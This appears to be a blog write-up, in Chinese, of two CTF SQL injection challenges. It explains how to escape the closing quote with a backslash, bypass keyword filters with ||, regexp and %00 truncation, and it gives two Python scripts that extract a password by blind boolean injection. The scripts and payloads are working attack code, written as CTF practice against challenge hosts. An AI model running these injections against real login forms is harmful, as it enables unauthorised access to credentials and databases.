单引号被ban了可以想一下/将他转义
[NCTF2019]SQLi
这个在很早之前刚接触CTF的时候写的题,没写出来。因为压根不知道怎么办,最近整理了一下CTF的Sql注入,了解一下。希望在后的题能弄出来吧。
通过御剑扫描发现robots.txt,通过robots.txt发现hint.txt。随后得到提示
我的天,这么多被过滤了,基本的Sql注入比如联合注入(union select),有点困难了,但是他没有过滤updatexml,说不定我们可以报错注入,但是好像行不通,因为,concat被ban了,or也被ban了。所以昨天哪一篇文章or被ban了和infomaition_shcema也没有用了
这里看到一点,连我们的单引号也被ban了。
我们可以尝试一下转义,那么就将单引号进行转义,那么语句就为下,username后面跟的值就为’ and passwd=,则为假
select * from users where username='\' and passwd=' '
这样闭合了前面的单引号,那么后面还是需要判断passwd的我再构造passwd值,用分号闭合sql语句,但是后面还有单引号,用%00截断(PHP5),这样即可判断passwd
单引号可以使用\来转义,or可以采用||,=可以采用regexp,
select * from users where username='\' and passwd='||/**/passwd/**/regexp/**/"参数值";%00'
本地测试如下
payload
因为这样判断的密码是从密码中匹配的,突然想起可以用^匹配字符开头
import time
import string
import requests
from urllib import parse
passwd = ‘’
string= string.asciilowercase + string.digits + ‘‘
url = ‘http://211b2ad2-2c80-4e89-bb57-e8992d46b510.node3.buuoj.cn/index.php‘
for n in range(100):
for m in string:
time.sleep(0.1)
data = {
"username":"\\",
"passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((passwd+m),parse.unquote('%00'))
}
res = requests.post(url,data=data)
print(data['passwd']+'-'*int(10)+m)
if 'welcome' in res.text:
passwd += m
print(m)
break
if m=='_' and 'welcome' not in res.text:
break
print(passwd)
[BJDCTF 2nd]简单注入
跟上题一样,会出现hint.txt
大概意思和上一题相同
username处注入\
来转义单引号,password处使用sql语句整数型注入。
例如:
- 传入
admin\
和or/**/length(database())>0#
会回显stronger字样- 传入
admin\
和or/**/length(database())<0#
会回显girl friend字样
大师傅都么得girl friend,我也没得……呀。
import requests
url = “http://bc5d0433-45b5-486d-8fdd-541a8662fd10.node3.buuoj.cn/index.php“
data = {“username”:”admin\“,”password”:””}
result = “”
i = 0
while( True ):
i = i + 1
head=32
tail=127
while( head < tail ):
mid = (head + tail) >> 1
#payload = "or/**/if(ascii(substr(username,%d,1))>%d,1,0)#"%(i,mid)
payload = “or/**/if(ascii(substr(password,%d,1))>%d,1,0)#”%(i,mid)
data[‘password’] = payload
r = requests.post(url,data=data)
if "stronger" in r.text :
head = mid + 1
else:
tail = mid
last = result
if head!=32:
result += chr(head)
else:
break
print(result)